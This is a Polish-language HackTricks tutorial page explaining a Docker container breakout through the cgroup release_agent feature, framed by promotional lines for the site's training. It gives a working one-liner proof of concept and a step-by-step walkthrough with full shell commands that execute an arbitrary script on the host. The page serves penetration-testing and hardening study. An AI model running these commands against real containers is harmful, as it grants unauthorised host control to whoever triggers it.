hacktricks/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md
2024-02-11 01:46:25 +00:00

4.7 KiB

Ucieczka z cgroups w Dockerze za pomocą release_agent

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Aby uzyskać więcej szczegółów, odwołaj się do oryginalnego wpisu na blogu. Oto tylko streszczenie:

Pierwotny PoC:

d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o

Dowód koncepcji (PoC) demonstruje metodę wykorzystania cgroups poprzez utworzenie pliku release_agent i wywołanie go w celu wykonania dowolnych poleceń na hoście kontenera. Oto podział na kroki:

  1. Przygotowanie środowiska:
  • Tworzony jest katalog /tmp/cgrp, który będzie służył jako punkt montowania dla cgroup.
  • Kontroler cgroup RDMA jest montowany do tego katalogu. W przypadku braku kontrolera RDMA zaleca się używanie kontrolera memory jako alternatywy.
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
  1. Utwórz podrzędny Cgroup:
  • Wewnątrz zamontowanego katalogu Cgroup tworzony jest podrzędny Cgroup o nazwie "x".
  • Aby włączyć powiadomienia dla Cgroup "x", należy zapisać wartość 1 do pliku notify_on_release.
echo 1 > /tmp/cgrp/x/notify_on_release
  1. Skonfiguruj agenta wydania:
  • Ścieżka kontenera na hoście jest pobierana z pliku /etc/mtab.
  • Następnie plik release_agent cgroup jest konfigurowany tak, aby wykonywał skrypt o nazwie /cmd znajdujący się w pobranej ścieżce hosta.
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
  1. Utwórz i skonfiguruj skrypt /cmd:
  • Skrypt /cmd jest tworzony wewnątrz kontenera i konfigurowany do wykonania polecenia ps aux, przekierowując wynik do pliku o nazwie /output w kontenerze. Podawana jest pełna ścieżka do /output na hoście.
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
  1. Wywołaj atak:
  • Proces jest uruchamiany wewnątrz grupy potomnej "x" i natychmiast jest zamykany.
  • To powoduje uruchomienie release_agent (skryptu /cmd), który wykonuje polecenie ps aux na hoście i zapisuje wynik do /output wewnątrz kontenera.
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: